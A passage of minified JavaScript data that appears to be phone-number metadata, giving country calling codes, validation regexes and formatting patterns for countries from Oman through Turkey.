$3\",[\"50[036-8]|8|90\",\"50(?:[0367]|88)|8|90\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"24|[346]|7[2-57-9]|9[2-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2(?:10|74)|[589]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"1|2[028]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,5})\",\"$1 $2 $3\",[\"2(?:[169]|7[0-35-9])|7\"],\"0$1\"]],\"0\",0,0,0,0,0,0,\"00\"],OM:[\"968\",\"00\",\"(?:1505|[279]\\\\d{3}|500)\\\\d{4}|800\\\\d{5,6}\",[7,8,9],[[\"(\\\\d{3})(\\\\d{4,6})\",\"$1 $2\",[\"[58]\"]],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"2\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[179]\"]]]],PA:[\"507\",\"00\",\"(?:00800|8\\\\d{3})\\\\d{6}|[68]\\\\d{7}|[1-57-9]\\\\d{6}\",[7,8,10,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[1-57-9]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1-$2\",[\"[68]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]]]],PE:[\"51\",\"00|19(?:1[124]|77|90)00\",\"(?:[14-8]|9\\\\d)\\\\d{7}\",[8,9],[[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"80\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"1\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[4-8]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"]]],\"0\",0,0,0,0,0,0,\"00\",\" Anexo \"],PF:[\"689\",\"00\",\"4\\\\d{5}(?:\\\\d{2})?|8\\\\d{7,8}\",[6,8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"44\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"4|8[7-9]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"]]]],PG:[\"675\",\"00|140[1-3]\",\"(?:180|[78]\\\\d{3})\\\\d{4}|(?:[2-589]\\\\d|64)\\\\d{5}\",[7,8],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"18|[2-69]|85\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[78]\"]]],0,0,0,0,0,0,0,\"00\"],PH:[\"63\",\"00\",\"(?:[2-7]|9\\\\d)\\\\d{8}|2\\\\d{5}|(?:1800|8)\\\\d{7,9}\",[6,8,9,10,11,12,13],[[\"(\\\\d)(\\\\d{5})\",\"$1 $2\",[\"2\"],\"(0$1)\"],[\"(\\\\d{4})(\\\\d{4,6})\",\"$1 $2\",[\"3(?:23|39|46)|4(?:2[3-6]|[35]9|4[26]|76)|544|88[245]|(?:52|64|86)2\",\"3(?:230|397|461)|4(?:2(?:35|[46]4|51)|396|4(?:22|63)|59[347]|76[15])|5(?:221|446)|642[23]|8(?:622|8(?:[24]2|5[13]))\"],\"(0$1)\"],[\"(\\\\d{5})(\\\\d{4})\",\"$1 $2\",[\"346|4(?:27|9[35])|883\",\"3469|4(?:279|9(?:30|56))|8834\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[3-7]|8[2-8]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]],[\"(\\\\d{4})(\\\\d{1,2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"1\"]]],\"0\"],PK:[\"92\",\"00\",\"122\\\\d{6}|[24-8]\\\\d{10,11}|9(?:[013-9]\\\\d{8,10}|2(?:[01]\\\\d\\\\d|2(?:[06-8]\\\\d|1[01]))\\\\d{7})|(?:[2-8]\\\\d{3}|92(?:[0-7]\\\\d|8[1-9]))\\\\d{6}|[24-9]\\\\d{8}|[89]\\\\d{7}\",[8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{2,7})\",\"$1 $2 $3\",[\"[89]0\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"1\"]],[\"(\\\\d{3})(\\\\d{6,7})\",\"$1 $2\",[\"2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:2[2-8]|3[27-9]|4[2-6]|6[3569]|9[25-8])\",\"9(?:2[3-8]|98)|(?:2(?:3[2358]|4[2-4]|9[2-8])|45[3479]|54[2-467]|60[468]|72[236]|8(?:2[2-689]|3[23578]|4[3478]|5[2356])|9(?:22|3[27-9]|4[2-6]|6[3569]|9[25-7]))[2-9]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{7,8})\",\"$1 $2\",[\"(?:2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91)[2-9]\"],\"(0$1)\"],[\"(\\\\d{5})(\\\\d{5})\",\"$1 $2\",[\"58\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"3\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"2[125]|4[0-246-9]|5[1-35-7]|6[1-8]|7[14]|8[16]|91\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"[24-9]\"],\"(0$1)\"]],\"0\"],PL:[\"48\",\"00\",\"(?:6|8\\\\d\\\\d)\\\\d{7}|[1-9]\\\\d{6}(?:\\\\d{2})?|[26]\\\\d{5}\",[6,7,8,9,10],[[\"(\\\\d{5})\",\"$1\",[\"19\"]],[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"11|20|64\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])1\",\"(?:1[2-8]|2[2-69]|3[2-4]|4[1-468]|5[24-689]|6[1-3578]|7[14-7]|8[1-79]|9[145])19\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"64\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"21|39|45|5[0137]|6[0469]|7[02389]|8(?:0[14]|8)\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"1[2-8]|[2-7]|8[1-79]|9[145]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"8\"]]]],PM:[\"508\",\"00\",\"[45]\\\\d{5}|(?:708|80\\\\d)\\\\d{6}\",[6,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[45]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"7\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0$1\"]],\"0\"],PR:[\"1\",\"011\",\"(?:[589]\\\\d\\\\d|787)\\\\d{7}\",[10],0,\"1\",0,0,0,0,\"787|939\"],PS:[\"970\",\"00\",\"[2489]2\\\\d{6}|(?:1\\\\d|5)\\\\d{8}\",[8,9,10],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[2489]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"5\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],PT:[\"351\",\"00\",\"1693\\\\d{5}|(?:[26-9]\\\\d|30)\\\\d{7}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"2[12]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"16|[236-9]\"]]]],PW:[\"680\",\"01[12]\",\"(?:[24-8]\\\\d\\\\d|345|900)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-9]\"]]]],PY:[\"595\",\"00\",\"59\\\\d{4,6}|9\\\\d{5,10}|(?:[2-46-8]\\\\d|5[0-8])\\\\d{4,7}\",[6,7,8,9,10,11],[[\"(\\\\d{3})(\\\\d{3,6})\",\"$1 $2\",[\"[2-9]0\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"[26]1|3[289]|4[1246-8]|7[1-3]|8[1-36]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{4,5})\",\"$1 $2\",[\"2[279]|3[13-5]|4[359]|5|6(?:[34]|7[1-46-8])|7[46-8]|85\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2[14-68]|3[26-9]|4[1246-8]|6(?:1|75)|7[1-35]|8[1-36]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"87\"]],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"9(?:[5-79]|8[1-6])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-8]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"9\"]]],\"0\"],QA:[\"974\",\"00\",\"800\\\\d{4}|(?:2|800)\\\\d{6}|(?:0080|[3-7])\\\\d{7}\",[7,8,9,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"2[16]|8\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[3-7]\"]]]],RE:[\"262\",\"00\",\"(?:26|[689]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2689]\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"26(?:2\\\\d\\\\d|3(?:0\\\\d|1[0-6]))\\\\d{4}\"],[\"69(?:2\\\\d\\\\d|3(?:[06][0-6]|1[013]|2[0-2]|3[0-39]|4\\\\d|5[0-5]|7[0-37]|8[0-8]|9[0-479]))\\\\d{4}\"],[\"80\\\\d{7}\"],[\"89[1-37-9]\\\\d{6}\"],0,0,0,0,[\"9(?:399[0-3]|479[0-5]|76(?:2[27]|3[0-37]))\\\\d{4}\"],[\"8(?:1[019]|2[0156]|84|90)\\\\d{6}\"]]],RO:[\"40\",\"00\",\"(?:[2378]\\\\d|62|90)\\\\d{7}|[23]\\\\d{5}\",[6,9],[[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"2[3-6]\",\"2[3-6]\\\\d9\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"219|31\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[23]1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[236-9]\"],\"0$1\"]],\"0\",0,0,0,0,0,0,0,\" int \"],RS:[\"381\",\"00\",\"38[02-9]\\\\d{6,9}|6\\\\d{7,9}|90\\\\d{4,8}|38\\\\d{5,6}|(?:7\\\\d\\\\d|800)\\\\d{3,9}|(?:[12]\\\\d|3[0-79])\\\\d{5,10}\",[6,7,8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{3,9})\",\"$1 $2\",[\"(?:2[389]|39)0|[7-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5,10})\",\"$1 $2\",[\"[1-36]\"],\"0$1\"]],\"0\"],RU:[\"7\",\"810\",\"8\\\\d{13}|[347-9]\\\\d{9}\",[10,14],[[\"(\\\\d{4})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"7(?:1[0-8]|2[1-9])\",\"7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:1[23]|[2-9]2))\",\"7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:13[03-69]|62[013-9]))|72[1-57-9]2\"],\"8 ($1)\",1],[\"(\\\\d{5})(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"7(?:1[0-68]|2[1-9])\",\"7(?:1(?:[06][3-6]|[18]|2[35]|[3-5][3-5])|2(?:[13][3-5]|[24-689]|7[457]))\",\"7(?:1(?:0(?:[356]|4[023])|[18]|2(?:3[013-9]|5)|3[45]|43[013-79]|5(?:3[1-8]|4[1-7]|5)|6(?:3[0-35-9]|[4-6]))|2(?:1(?:3[178]|[45])|[24-689]|3[35]|7[457]))|7(?:14|23)4[0-8]|71(?:33|45)[1-79]\"],\"8 ($1)\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"8 ($1)\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"[349]|8(?:[02-7]|1[1-8])\"],\"8 ($1)\",1],[\"(\\\\d{4})(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"8\"],\"8 ($1)\"]],\"8\",0,0,0,0,\"3[04-689]|[489]\",0,\"8~10\"],RW:[\"250\",\"00\",\"(?:06|[27]\\\\d\\\\d|[89]00)\\\\d{6}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"0\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[7-9]\"],\"0$1\"]],\"0\"],SA:[\"966\",\"00\",\"92\\\\d{7}|(?:[15]|8\\\\d)\\\\d{8}\",[9,10],[[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"9\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"5\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"81\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]]],\"0\"],SB:[\"677\",\"0[01]\",\"(?:[1-6]|[7-9]\\\\d\\\\d)\\\\d{4}\",[5,7],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"7|8[4-9]|9(?:[1-8]|9[0-8])\"]]]],SC:[\"248\",\"010|0[0-2]\",\"800\\\\d{4}|(?:[249]\\\\d|64)\\\\d{5}\",[7],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[246]|9[57]\"]]],0,0,0,0,0,0,0,\"00\"],SD:[\"249\",\"00\",\"[19]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[19]\"],\"0$1\"]],\"0\"],SE:[\"46\",\"00\",\"(?:[26]\\\\d\\\\d|9)\\\\d{9}|[1-9]\\\\d{8}|[1-689]\\\\d{7}|[1-4689]\\\\d{6}|2\\\\d{5}\",[6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{2,3})(\\\\d{2})\",\"$1-$2 $3\",[\"20\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"9(?:00|39|44|9)\"],\"0$1\",0,\"$1 $2\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})\",\"$1-$2 $3\",[\"[12][136]|3[356]|4[0246]|6[03]|90[1-9]\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d)(\\\\d{2,3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"8\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2,3})(\\\\d{2})\",\"$1-$2 $3\",[\"1[2457]|2(?:[247-9]|5[0138])|3[0247-9]|4[1357-9]|5[0-35-9]|6(?:[125689]|4[02-57]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d{3})(\\\\d{2,3})(\\\\d{3})\",\"$1-$2 $3\",[\"9(?:00|39|44)\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d{2})(\\\\d{2,3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"1[13689]|2[0136]|3[1356]|4[0246]|54|6[03]|90[1-9]\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"10|7\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"8\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"[13-5]|2(?:[247-9]|5[0138])|6(?:[124-689]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1-$2 $3 $4\",[\"9\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4 $5\",[\"[26]\"],\"0$1\",0,\"$1 $2 $3 $4 $5\"]],\"0\"],SG:[\"65\",\"0[0-3]\\\\d\",\"(?:(?:1\\\\d|8)\\\\d\\\\d|7000)\\\\d{7}|[3689]\\\\d{7}\",[8,10,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[369]|8(?:0[1-8]|[1-9])\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{4})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"7\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]]]],SH:[\"290\",\"00\",\"(?:[256]\\\\d|8)\\\\d{3}\",[4,5],0,0,0,0,0,0,\"[256]\"],SI:[\"386\",\"00|10(?:22|66|88|99)\",\"[1-7]\\\\d{7}|8\\\\d{4,7}|90\\\\d{4,6}\",[5,6,7,8],[[\"(\\\\d{2})(\\\\d{3,6})\",\"$1 $2\",[\"8[09]|9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"59|8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[37][01]|4[0139]|51|6\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[1-57]\"],\"(0$1)\"]],\"0\",0,0,0,0,0,0,\"00\"],SJ:[\"47\",\"00\",\"0\\\\d{4}|(?:[489]\\\\d|79)\\\\d{6}\",[5,8],0,0,0,0,0,0,\"79\"],SK:[\"421\",\"00\",\"[2-689]\\\\d{8}|[2-59]\\\\d{6}|[2-5]\\\\d{5}\",[6,7,9],[[\"(\\\\d)(\\\\d{2})(\\\\d{3,4})\",\"$1 $2 $3\",[\"21\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"[3-5][1-8]1\",\"[3-5][1-8]1[67]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1\u002F$2 $3 $4\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[689]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1\u002F$2 $3 $4\",[\"[3-5]\"],\"0$1\"]],\"0\"],SL:[\"232\",\"00\",\"(?:[237-9]\\\\d|66)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[236-9]\"],\"(0$1)\"]],\"0\"],SM:[\"378\",\"00\",\"(?:0549|[5-7]\\\\d)\\\\d{6}\",[8,10],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[5-7]\"]],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"0\"]]],0,0,\"([89]\\\\d{5})$\",\"0549$1\"],SN:[\"221\",\"00\",\"(?:[378]\\\\d|93)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[379]\"]]]],SO:[\"252\",\"00\",\"[346-9]\\\\d{8}|[12679]\\\\d{7}|[1-5]\\\\d{6}|[1348]\\\\d{5}\",[6,7,8,9],[[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"8[125]\"]],[\"(\\\\d{6})\",\"$1\",[\"[134]\"]],[\"(\\\\d)(\\\\d{6})\",\"$1 $2\",[\"[15]|2[0-79]|3[0-46-8]|4[0-7]\"]],[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"(?:2|90)4|[67]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[348]|64|79|90\"]],[\"(\\\\d{2})(\\\\d{5,7})\",\"$1 $2\",[\"1|28|6[0-35-9]|77|9[2-9]\"]]],\"0\"],SR:[\"597\",\"00\",\"(?:[2-5]|68|[78]\\\\d)\\\\d{5}\",[6,7],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1-$2-$3\",[\"56\"]],[\"(\\\\d{3})(\\\\d{3})\",\"$1-$2\",[\"[2-5]\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[6-8]\"]]]],SS:[\"211\",\"00\",\"[19]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[19]\"],\"0$1\"]],\"0\"],ST:[\"239\",\"00\",\"(?:22|9\\\\d)\\\\d{5}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[29]\"]]]],SV:[\"503\",\"00\",\"[267]\\\\d{7}|[89]00\\\\d{4}(?:\\\\d{4})?\",[7,8,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[89]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[267]\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"]]]],SX:[\"1\",\"011\",\"7215\\\\d{6}|(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"(5\\\\d{6})$|1\",\"721$1\",0,\"721\"],SY:[\"963\",\"00\",\"[1-39]\\\\d{8}|[1-5]\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[1-5]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"],\"0$1\",1]],\"0\"],SZ:[\"268\",\"00\",\"0800\\\\d{4}|(?:[237]\\\\d|900)\\\\d{6}\",[8,9],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[0237]\"]],[\"(\\\\d{5})(\\\\d{4})\",\"$1 $2\",[\"9\"]]]],TA:[\"290\",\"00\",\"8\\\\d{3}\",[4],0,0,0,0,0,0,\"8\"],TC:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|649|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-479]\\\\d{6})$|1\",\"649$1\",0,\"649\"],TD:[\"235\",\"00|16\",\"(?:22|[69]\\\\d|77)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2679]\"]]],0,0,0,0,0,0,0,\"00\"],TG:[\"228\",\"00\",\"[279]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[279]\"]]]],TH:[\"66\",\"00[1-9]\",\"(?:001800|[2-57]|[689]\\\\d)\\\\d{7}|1\\\\d{7,9}\",[8,9,10,13],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[13-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],TJ:[\"992\",\"810\",\"[0-57-9]\\\\d{8}\",[9],[[\"(\\\\d{6})(\\\\d)(\\\\d{2})\",\"$1 $2 $3\",[\"331\",\"3317\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"44[02-479]|[34]7\"]],[\"(\\\\d{4})(\\\\d)(\\\\d{4})\",\"$1 $2 $3\",[\"3[1-5]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[0-57-9]\"]]],0,0,0,0,0,0,0,\"8~10\"],TK:[\"690\",\"00\",\"[2-47]\\\\d{3,6}\",[4,5,6,7]],TL:[\"670\",\"00\",\"7\\\\d{7}|(?:[2-47]\\\\d|[89]0)\\\\d{5}\",[7,8],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-489]|70\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"7\"]]]],TM:[\"993\",\"810\",\"[1-6]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"12\"],\"(8 $1)\"],[\"(\\\\d{3})(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"[1-5]\"],\"(8 $1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"6\"],\"8 $1\"]],\"8\",0,0,0,0,0,0,\"8~10\"],TN:[\"216\",\"00\",\"[2-57-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-57-9]\"]]]],TO:[\"676\",\"00\",\"(?:0800|(?:[5-8]\\\\d\\\\d|999)\\\\d)\\\\d{3}|[2-8]\\\\d{4}\",[5,7],[[\"(\\\\d{2})(\\\\d{3})\",\"$1-$2\",[\"[2-4]|50|6[09]|7[0-24-69]|8[05]\"]],[\"(\\\\d{4})(\\\\d{3})\",\"$1 $2\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[5-9]\"]]]],TR:[\"90\",\"00\",\"4\\\\d{6}|8\\\\d{11,12}|(?:[2-58]\\\\d\\\\d|900)\\\\d{7}\",[7,10,12,13],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"512|8[01589]|90\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"5(?:[0-59]|61)\",\"5(?:[0-59]|61[06])\",\"5(?:[0-59]|61[06]1)\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[24][1-8]|3[1-9]\"],\"(0$1)\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{6,7})\",\"$1 $2 